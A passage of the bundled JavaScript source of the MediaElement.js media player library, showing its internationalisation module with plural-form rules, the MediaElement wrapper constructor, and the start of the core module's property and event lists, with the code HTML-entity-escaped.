  Promise._setUnhandledRejectionFn = function _setUnhandledRejectionFn(fn) {
    Promise._unhandledRejectionFn = fn;
  };
  
  if (typeof module !== &#039;undefined&#039; &amp;&amp; module.exports) {
    module.exports = Promise;
  } else if (!root.Promise) {
    root.Promise = Promise;
  }

})(this);

},{}],5:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _en = _dereq_(9);

var _general = _dereq_(18);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var i18n = { lang: &#039;en&#039;, en: _en.EN };

i18n.language = function () {
	for (var _len = arguments.length, args = Array(_len), _key = 0; _key &lt; _len; _key++) {
		args[_key] = arguments[_key];
	}

	if (args !== null &amp;&amp; args !== undefined &amp;&amp; args.length) {

		if (typeof args[0] !== &#039;string&#039;) {
			throw new TypeError(&#039;Language code must be a string value&#039;);
		}

		if (!/^[a-z]{2,3}((\-|_)[a-z]{2})?$/i.test(args[0])) {
			throw new TypeError(&#039;Language code must have format 2-3 letters and. optionally, hyphen, underscore followed by 2 more letters&#039;);
		}

		i18n.lang = args[0];

		if (i18n[args[0]] === undefined) {
			args[1] = args[1] !== null &amp;&amp; args[1] !== undefined &amp;&amp; _typeof(args[1]) === &#039;object&#039; ? args[1] : {};
			i18n[args[0]] = !(0, _general.isObjectEmpty)(args[1]) ? args[1] : _en.EN;
		} else if (args[1] !== null &amp;&amp; args[1] !== undefined &amp;&amp; _typeof(args[1]) === &#039;object&#039;) {
			i18n[args[0]] = args[1];
		}
	}

	return i18n.lang;
};

i18n.t = function (message) {
	var pluralParam = arguments.length &gt; 1 &amp;&amp; arguments[1] !== undefined ? arguments[1] : null;


	if (typeof message === &#039;string&#039; &amp;&amp; message.length) {

		var str = void 0,
		    pluralForm = void 0;

		var language = i18n.language();

		var _plural = function _plural(input, number, form) {

			if ((typeof input === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(input)) !== &#039;object&#039; || typeof number !== &#039;number&#039; || typeof form !== &#039;number&#039;) {
				return input;
			}

			var _pluralForms = function () {
				return [function () {
					return arguments.length &lt;= 1 ? undefined : arguments[1];
				}, function () {
					return (arguments.length &lt;= 0 ? undefined : arguments[0]) === 1 ? arguments.length &lt;= 1 ? undefined : arguments[1] : arguments.length &lt;= 2 ? undefined : arguments[2];
				}, function () {
					return (arguments.length &lt;= 0 ? undefined : arguments[0]) === 0 || (arguments.length &lt;= 0 ? undefined : arguments[0]) === 1 ? arguments.length &lt;= 1 ? undefined : arguments[1] : arguments.length &lt;= 2 ? undefined : arguments[2];
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 === 1 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 !== 11) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) !== 0) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1 || (arguments.length &lt;= 0 ? undefined : arguments[0]) === 11) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 2 || (arguments.length &lt;= 0 ? undefined : arguments[0]) === 12) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) &gt; 2 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) &lt; 20) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 0 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt; 0 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 20) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 === 1 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 !== 11) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &gt;= 2 &amp;&amp; ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 10 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt;= 20)) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return [3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 === 1 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 !== 11) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &gt;= 2 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &lt;= 4 &amp;&amp; ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 10 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt;= 20)) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) &gt;= 2 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) &lt;= 4) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &gt;= 2 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &lt;= 4 &amp;&amp; ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 10 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt;= 20)) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 === 1) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 === 2) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 === 3 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 === 4) {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					} else {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 2) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) &gt; 2 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) &lt; 7) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) &gt; 6 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) &lt; 11) {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					} else {
						return arguments.length &lt;= 5 ? undefined : arguments[5];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 0) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 2) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt;= 3 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt;= 10) {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt;= 11) {
						return arguments.length &lt;= 5 ? undefined : arguments[5];
					} else {
						return arguments.length &lt;= 6 ? undefined : arguments[6];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 0 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt; 1 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 11) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt; 10 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 20) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 === 2) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					return (arguments.length &lt;= 0 ? undefined : arguments[0]) !== 11 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 === 1 ? arguments.length &lt;= 1 ? undefined : arguments[1] : arguments.length &lt;= 2 ? undefined : arguments[2];
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &gt;= 2 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &lt;= 4 &amp;&amp; ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 10 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt;= 20)) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 2) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) !== 8 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) !== 11) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					}
				}, function () {
					return (arguments.length &lt;= 0 ? undefined : arguments[0]) === 0 ? arguments.length &lt;= 1 ? undefined : arguments[1] : arguments.length &lt;= 2 ? undefined : arguments[2];
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 2) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 3) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 0) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}];
			}();

			return _pluralForms[form].apply(null, [number].concat(input));
		};

		if (i18n[language] !== undefined) {
			str = i18n[language][message];
			if (pluralParam !== null &amp;&amp; typeof pluralParam === &#039;number&#039;) {
				pluralForm = i18n[language][&#039;mejs.plural-form&#039;];
				str = _plural.apply(null, [str, pluralParam, pluralForm]);
			}
		}

		if (!str &amp;&amp; i18n.en) {
			str = i18n.en[message];
			if (pluralParam !== null &amp;&amp; typeof pluralParam === &#039;number&#039;) {
				pluralForm = i18n.en[&#039;mejs.plural-form&#039;];
				str = _plural.apply(null, [str, pluralParam, pluralForm]);
			}
		}

		str = str || message;

		if (pluralParam !== null &amp;&amp; typeof pluralParam === &#039;number&#039;) {
			str = str.replace(&#039;%1&#039;, pluralParam);
		}

		return (0, _general.escapeHTML)(str);
	}

	return message;
};

_mejs2.default.i18n = i18n;

if (typeof mejsL10n !== &#039;undefined&#039;) {
	_mejs2.default.i18n.language(mejsL10n.language, mejsL10n.strings);
}

exports.default = i18n;

},{&quot;18&quot;:18,&quot;7&quot;:7,&quot;9&quot;:9}],6:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _general = _dereq_(18);

var _media2 = _dereq_(19);

var _renderer = _dereq_(8);

var _constants = _dereq_(16);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(&quot;Cannot call a class as a function&quot;); } }

var MediaElement = function MediaElement(idOrNode, options, sources) {
	var _this = this;

	_classCallCheck(this, MediaElement);

	var t = this;

	sources = Array.isArray(sources) ? sources : null;

	t.defaults = {
		renderers: [],

		fakeNodeName: &#039;mediaelementwrapper&#039;,

		pluginPath: &#039;build/&#039;,

		shimScriptAccess: &#039;sameDomain&#039;
	};

	options = Object.assign(t.defaults, options);

	t.mediaElement = _document2.default.createElement(options.fakeNodeName);

	var id = idOrNode,
	    error = false;

	if (typeof idOrNode === &#039;string&#039;) {
		t.mediaElement.originalNode = _document2.default.getElementById(idOrNode);
	} else {
		t.mediaElement.originalNode = idOrNode;
		id = idOrNode.id;
	}

	if (t.mediaElement.originalNode === undefined || t.mediaElement.originalNode === null) {
		return null;
	}

	t.mediaElement.options = options;
	id = id || &#039;mejs_&#039; + Math.random().toString().slice(2);

	t.mediaElement.originalNode.setAttribute(&#039;id&#039;, id + &#039;_from_mejs&#039;);

	var tagName = t.mediaElement.originalNode.tagName.toLowerCase();
	if ([&#039;video&#039;, &#039;audio&#039;].indexOf(tagName) &gt; -1 &amp;&amp; !t.mediaElement.originalNode.getAttribute(&#039;preload&#039;)) {
		t.mediaElement.originalNode.setAttribute(&#039;preload&#039;, &#039;none&#039;);
	}

	t.mediaElement.originalNode.parentNode.insertBefore(t.mediaElement, t.mediaElement.originalNode);

	t.mediaElement.appendChild(t.mediaElement.originalNode);

	var processURL = function processURL(url, type) {
		if (_window2.default.location.protocol === &#039;https:&#039; &amp;&amp; url.indexOf(&#039;http:&#039;) === 0 &amp;&amp; _constants.IS_IOS &amp;&amp; _mejs2.default.html5media.mediaTypes.indexOf(type) &gt; -1) {
			var xhr = new XMLHttpRequest();
			xhr.onreadystatechange = function () {
				if (this.readyState === 4 &amp;&amp; this.status === 200) {
					var _url = _window2.default.URL || _window2.default.webkitURL,
					    blobUrl = _url.createObjectURL(this.response);
					t.mediaElement.originalNode.setAttribute(&#039;src&#039;, blobUrl);
					return blobUrl;
				}
				return url;
			};
			xhr.open(&#039;GET&#039;, url);
			xhr.responseType = &#039;blob&#039;;
			xhr.send();
		}

		return url;
	};

	var mediaFiles = void 0;

	if (sources !== null) {
		mediaFiles = sources;
	} else if (t.mediaElement.originalNode !== null) {

		mediaFiles = [];

		switch (t.mediaElement.originalNode.nodeName.toLowerCase()) {
			case &#039;iframe&#039;:
				mediaFiles.push({
					type: &#039;&#039;,
					src: t.mediaElement.originalNode.getAttribute(&#039;src&#039;)
				});
				break;
			case &#039;audio&#039;:
			case &#039;video&#039;:
				var _sources = t.mediaElement.originalNode.children.length,
				    nodeSource = t.mediaElement.originalNode.getAttribute(&#039;src&#039;);

				if (nodeSource) {
					var node = t.mediaElement.originalNode,
					    type = (0, _media2.formatType)(nodeSource, node.getAttribute(&#039;type&#039;));
					mediaFiles.push({
						type: type,
						src: processURL(nodeSource, type)
					});
				}

				for (var i = 0; i &lt; _sources; i++) {
					var n = t.mediaElement.originalNode.children[i];
					if (n.tagName.toLowerCase() === &#039;source&#039;) {
						var src = n.getAttribute(&#039;src&#039;),
						    _type = (0, _media2.formatType)(src, n.getAttribute(&#039;type&#039;));
						mediaFiles.push({ type: _type, src: processURL(src, _type) });
					}
				}
				break;
		}
	}

	t.mediaElement.id = id;
	t.mediaElement.renderers = {};
	t.mediaElement.events = {};
	t.mediaElement.promises = [];
	t.mediaElement.renderer = null;
	t.mediaElement.rendererName = null;

	t.mediaElement.changeRenderer = function (rendererName, mediaFiles) {

		var t = _this,
		    media = Object.keys(mediaFiles[0]).length &gt; 2 ? mediaFiles[0] : mediaFiles[0].src;

		if (t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null &amp;&amp; t.mediaElement.renderer.name === rendererName) {
			t.mediaElement.renderer.pause();
			if (t.mediaElement.renderer.stop) {
				t.mediaElement.renderer.stop();
			}
			t.mediaElement.renderer.show();
			t.mediaElement.renderer.setSrc(media);
			return true;
		}

		if (t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null) {
			t.mediaElement.renderer.pause();
			if (t.mediaElement.renderer.stop) {
				t.mediaElement.renderer.stop();
			}
			t.mediaElement.renderer.hide();
		}

		var newRenderer = t.mediaElement.renderers[rendererName],
		    newRendererType = null;

		if (newRenderer !== undefined &amp;&amp; newRenderer !== null) {
			newRenderer.show();
			newRenderer.setSrc(media);
			t.mediaElement.renderer = newRenderer;
			t.mediaElement.rendererName = rendererName;
			return true;
		}

		var rendererArray = t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : _renderer.renderer.order;

		for (var _i = 0, total = rendererArray.length; _i &lt; total; _i++) {
			var index = rendererArray[_i];

			if (index === rendererName) {
				var rendererList = _renderer.renderer.renderers;
				newRendererType = rendererList[index];

				var renderOptions = Object.assign(newRendererType.options, t.mediaElement.options);
				newRenderer = newRendererType.create(t.mediaElement, renderOptions, mediaFiles);
				newRenderer.name = rendererName;

				t.mediaElement.renderers[newRendererType.name] = newRenderer;
				t.mediaElement.renderer = newRenderer;
				t.mediaElement.rendererName = rendererName;
				newRenderer.show();
				return true;
			}
		}

		return false;
	};

	t.mediaElement.setSize = function (width, height) {
		if (t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null) {
			t.mediaElement.renderer.setSize(width, height);
		}
	};

	t.mediaElement.generateError = function (message, urlList) {
		message = message || &#039;&#039;;
		urlList = Array.isArray(urlList) ? urlList : [];
		var event = (0, _general.createEvent)(&#039;error&#039;, t.mediaElement);
		event.message = message;
		event.urls = urlList;
		t.mediaElement.dispatchEvent(event);
		error = true;
	};

	var props = _mejs2.default.html5media.properties,
	    methods = _mejs2.default.html5media.methods,
	    addProperty = function addProperty(obj, name, onGet, onSet) {
		var oldValue = obj[name];
		var getFn = function getFn() {
			return onGet.apply(obj, [oldValue]);
		},
		    setFn = function setFn(newValue) {
			oldValue = onSet.apply(obj, [newValue]);
			return oldValue;
		};

		Object.defineProperty(obj, name, {
			get: getFn,
			set: setFn
		});
	},
	    assignGettersSetters = function assignGettersSetters(propName) {
		if (propName !== &#039;src&#039;) {

			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1),
			    getFn = function getFn() {
				return t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null &amp;&amp; typeof t.mediaElement.renderer[&#039;get&#039; + capName] === &#039;function&#039; ? t.mediaElement.renderer[&#039;get&#039; + capName]() : null;
			},
			    setFn = function setFn(value) {
				if (t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null &amp;&amp; typeof t.mediaElement.renderer[&#039;set&#039; + capName] === &#039;function&#039;) {
					t.mediaElement.renderer[&#039;set&#039; + capName](value);
				}
			};

			addProperty(t.mediaElement, propName, getFn, setFn);
			t.mediaElement[&#039;get&#039; + capName] = getFn;
			t.mediaElement[&#039;set&#039; + capName] = setFn;
		}
	},
	    getSrc = function getSrc() {
		return t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null ? t.mediaElement.renderer.getSrc() : null;
	},
	    setSrc = function setSrc(value) {
		var mediaFiles = [];

		if (typeof value === &#039;string&#039;) {
			mediaFiles.push({
				src: value,
				type: value ? (0, _media2.getTypeFromFile)(value) : &#039;&#039;
			});
		} else if ((typeof value === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(value)) === &#039;object&#039; &amp;&amp; value.src !== undefined) {
			var _src = (0, _media2.absolutizeUrl)(value.src),
			    _type2 = value.type,
			    media = Object.assign(value, {
				src: _src,
				type: (_type2 === &#039;&#039; || _type2 === null || _type2 === undefined) &amp;&amp; _src ? (0, _media2.getTypeFromFile)(_src) : _type2
			});
			mediaFiles.push(media);
		} else if (Array.isArray(value)) {
			for (var _i2 = 0, total = value.length; _i2 &lt; total; _i2++) {

				var _src2 = (0, _media2.absolutizeUrl)(value[_i2].src),
				    _type3 = value[_i2].type,
				    _media = Object.assign(value[_i2], {
					src: _src2,
					type: (_type3 === &#039;&#039; || _type3 === null || _type3 === undefined) &amp;&amp; _src2 ? (0, _media2.getTypeFromFile)(_src2) : _type3
				});

				mediaFiles.push(_media);
			}
		}

		var renderInfo = _renderer.renderer.select(mediaFiles, t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : []),
		    event = void 0;

		if (!t.mediaElement.paused &amp;&amp; !(t.mediaElement.src == null || t.mediaElement.src === &#039;&#039;)) {
			t.mediaElement.pause();
			event = (0, _general.createEvent)(&#039;pause&#039;, t.mediaElement);
			t.mediaElement.dispatchEvent(event);
		}
		t.mediaElement.originalNode.src = mediaFiles[0].src || &#039;&#039;;

		if (renderInfo === null &amp;&amp; mediaFiles[0].src) {
			t.mediaElement.generateError(&#039;No renderer found&#039;, mediaFiles);
			return;
		}

		var shouldChangeRenderer = !(mediaFiles[0].src == null || mediaFiles[0].src === &#039;&#039;);
		return shouldChangeRenderer ? t.mediaElement.changeRenderer(renderInfo.rendererName, mediaFiles) : null;
	},
	    triggerAction = function triggerAction(methodName, args) {
		try {
			if (methodName === &#039;play&#039; &amp;&amp; (t.mediaElement.rendererName === &#039;native_dash&#039; || t.mediaElement.rendererName === &#039;native_hls&#039; || t.mediaElement.rendererName === &#039;vimeo_iframe&#039;)) {
				var response = t.mediaElement.renderer[methodName](args);
				if (response &amp;&amp; typeof response.then === &#039;function&#039;) {
					response.catch(function () {
						if (t.mediaElement.paused) {
							setTimeout(function () {
								var tmpResponse = t.mediaElement.renderer.play();
								if (tmpResponse !== undefined) {
									tmpResponse.catch(function () {
										if (!t.mediaElement.renderer.paused) {
											t.mediaElement.renderer.pause();
										}
									});
								}
							}, 150);
						}
					});
				}
			} else {
				t.mediaElement.renderer[methodName](args);
			}
		} catch (e) {
			t.mediaElement.generateError(e, mediaFiles);
		}
	},
	    assignMethods = function assignMethods(methodName) {
		t.mediaElement[methodName] = function () {
			for (var _len = arguments.length, args = Array(_len), _key = 0; _key &lt; _len; _key++) {
				args[_key] = arguments[_key];
			}

			if (t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null &amp;&amp; typeof t.mediaElement.renderer[methodName] === &#039;function&#039;) {
				if (t.mediaElement.promises.length) {
					Promise.all(t.mediaElement.promises).then(function () {
						triggerAction(methodName, args);
					}).catch(function (e) {
						t.mediaElement.generateError(e, mediaFiles);
					});
				} else {
					triggerAction(methodName, args);
				}
			}
			return null;
		};
	};

	addProperty(t.mediaElement, &#039;src&#039;, getSrc, setSrc);
	t.mediaElement.getSrc = getSrc;
	t.mediaElement.setSrc = setSrc;

	for (var _i3 = 0, total = props.length; _i3 &lt; total; _i3++) {
		assignGettersSetters(props[_i3]);
	}

	for (var _i4 = 0, _total = methods.length; _i4 &lt; _total; _i4++) {
		assignMethods(methods[_i4]);
	}

	t.mediaElement.addEventListener = function (eventName, callback) {
		t.mediaElement.events[eventName] = t.mediaElement.events[eventName] || [];

		t.mediaElement.events[eventName].push(callback);
	};
	t.mediaElement.removeEventListener = function (eventName, callback) {
		if (!eventName) {
			t.mediaElement.events = {};
			return true;
		}

		var callbacks = t.mediaElement.events[eventName];

		if (!callbacks) {
			return true;
		}

		if (!callback) {
			t.mediaElement.events[eventName] = [];
			return true;
		}

		for (var _i5 = 0; _i5 &lt; callbacks.length; _i5++) {
			if (callbacks[_i5] === callback) {
				t.mediaElement.events[eventName].splice(_i5, 1);
				return true;
			}
		}
		return false;
	};

	t.mediaElement.dispatchEvent = function (event) {
		var callbacks = t.mediaElement.events[event.type];
		if (callbacks) {
			for (var _i6 = 0; _i6 &lt; callbacks.length; _i6++) {
				callbacks[_i6].apply(null, [event]);
			}
		}
	};

	t.mediaElement.destroy = function () {
		var mediaElement = t.mediaElement.originalNode.cloneNode(true);
		var wrapper = t.mediaElement.parentElement;
		mediaElement.removeAttribute(&#039;id&#039;);
		mediaElement.remove();
		t.mediaElement.remove();
		wrapper.appendChild(mediaElement);
	};

	if (mediaFiles.length) {
		t.mediaElement.src = mediaFiles;
	}

	if (t.mediaElement.promises.length) {
		Promise.all(t.mediaElement.promises).then(function () {
			if (t.mediaElement.options.success) {
				t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode);
			}
		}).catch(function () {
			if (error &amp;&amp; t.mediaElement.options.error) {
				t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode);
			}
		});
	} else {
		if (t.mediaElement.options.success) {
			t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode);
		}

		if (error &amp;&amp; t.mediaElement.options.error) {
			t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode);
		}
	}

	return t.mediaElement;
};

_window2.default.MediaElement = MediaElement;
_mejs2.default.MediaElement = MediaElement;

exports.default = MediaElement;

},{&quot;16&quot;:16,&quot;18&quot;:18,&quot;19&quot;:19,&quot;2&quot;:2,&quot;3&quot;:3,&quot;7&quot;:7,&quot;8&quot;:8}],7:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var mejs = {};

mejs.version = &#039;4.2.17&#039;;

mejs.html5media = {
	properties: [&#039;volume&#039;, &#039;src&#039;, &#039;currentTime&#039;, &#039;muted&#039;, &#039;duration&#039;, &#039;paused&#039;, &#039;ended&#039;, &#039;buffered&#039;, &#039;error&#039;, &#039;networkState&#039;, &#039;readyState&#039;, &#039;seeking&#039;, &#039;seekable&#039;, &#039;currentSrc&#039;, &#039;preload&#039;, &#039;bufferedBytes&#039;, &#039;bufferedTime&#039;, &#039;initialTime&#039;, &#039;startOffsetTime&#039;, &#039;defaultPlaybackRate&#039;, &#039;playbackRate&#039;, &#039;played&#039;, &#039;autoplay&#039;, &#039;loop&#039;, &#039;controls&#039;],
	readOnlyProperties: [&#039;duration&#039;, &#039;paused&#039;, &#039;ended&#039;, &#039;buffered&#039;, &#039;error&#039;, &#039;networkState&#039;, &#039;readyState&#039;, &#039;seeking&#039;, &#039;seekable&#039;],

	methods: [&#039;load&#039;, &#039;play&#039;, &#039;pause&#039;, &#039;canPlayType&#039;],

	events: [&#039;loadstart&#039;, &#039;durationchange&#039;, &#039;loadedmetadata&#039;, &#039;loadeddata&#039;, &#039;progress&#039;, &#039;canplay&#039;, &#039;canplaythrough&#039;, &#039;suspend&#039;, &#039;abort&#039;, &#039;error&#039;, &#039;emptied&#039;, &#039;stalled&#039;, &#039;play&#039;, &#039;playing&#039;, &#039;pause&#039;, &#039;waiting&#039;, &#039;seeking&#039;, &#039;seeked&#039;, &#039;timeupdate&#039;, &#039;ended&#039;, &#039;ratechange&#039;, &#039;volumechange&#039;],

